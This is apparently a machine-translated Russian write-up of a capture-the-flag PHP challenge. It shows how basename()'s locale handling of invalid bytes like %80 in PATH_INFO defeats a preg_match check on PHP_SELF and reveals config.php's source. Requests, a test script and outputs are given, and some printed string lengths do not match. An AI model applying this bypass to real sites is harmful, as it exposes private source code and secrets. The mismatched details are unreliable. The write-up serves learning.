Похоже, что задача состоит в использовании причудливой функции PHP basename()
. В соответствии с документацией:
Внимание: basename()
ориентирован на локаль, поэтому для того, чтобы он видел правильное базовое имя с многобайтовыми символьными путями, соответствует языковой стандарт должен быть установлен с помощью функции setlocale()
.
Это означает, что если вы передадите ей строку, содержащую кодовые точки выше 0x7F, она попытается обработать их как многобайтовые персонажи. Поэтому передача случайных байтов в эту функцию может привести к его падению.
Я загрузил следующий скрипт на сервер для тестирования:
<?php
header("Content-Type: text/plain; charset=UTF-8");
echo '$_SERVER["PATH_INFO"] = ';
var_dump($_SERVER['PATH_INFO']);
echo '$_SERVER["PHP_SELF"] = ';
var_dump($_SERVER['PHP_SELF']);
echo 'basename($_SERVER["PHP_SELF"]) = ';
var_dump(basename($_SERVER['PHP_SELF']));
А вот результаты, полученные с помощью несколько выбранных запросов:
■ GET /index.php?source
$_SERVER["PATH_INFO"] = NULL
$_SERVER["PHP_SELF"] = string(15) "/index.php"
basename($_SERVER["PHP_SELF"]) = string(9) "index.php"
■ GET /index.php/config.php?source
$_SERVER["PATH_INFO"] = string(11) "/config.php"
$_SERVER["PHP_SELF"] = string(26) "/index.php/config.php"
basename($_SERVER["PHP_SELF"]) = string(10) "config.php"
■ GET /index.php/config.php/XXX?source
$_SERVER["PATH_INFO"] = string(15) "/config.php/XXX"
$_SERVER["PHP_SELF"] = string(30) "/index.php/config.php/XXX"
basename($_SERVER["PHP_SELF"]) = string(3) "XXX"
■ GET /index.php/config.php/%F0%9F%98%80?source
$_SERVER["PATH_INFO"] = string(16) "/config.php/?"
$_SERVER["PHP_SELF"] = string(31) "/index.php/config.php/?"
basename($_SERVER["PHP_SELF"]) = string(10) "config.php"
Вы заметите, что в последнем примере PHP не удалось проанализировать символ UTF-8 в конце строки PATH_INFO
и по умолчанию было установлено предыдущее значение config.php
вместо.
Таким образом, в приведенном вами примере ссылка на /index.php/config.php/%80?source
привела бы к $_SERVER["PHP_SELF"]
, принимающему значение "config.php"
. Это позволяет вашему запросу пройти следующий тест, потому что $_SERVER['PHP_SELF']
заканчивается \x80
, а не /
:
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
. Таким образом, вы можете получить флаг из исходного кода config.php
.
Интересная задача.
Примечание: Если вы зададите для языка PHP что-то, что принимает символы UTF-8 (например, setlocale(LC_ALL, 'en_GB.UTF8');
), тогда он будет правильно обрабатывать символы ?, но все равно будет падать, если ему присвоена неправильная кодовая точка, такая как %80
.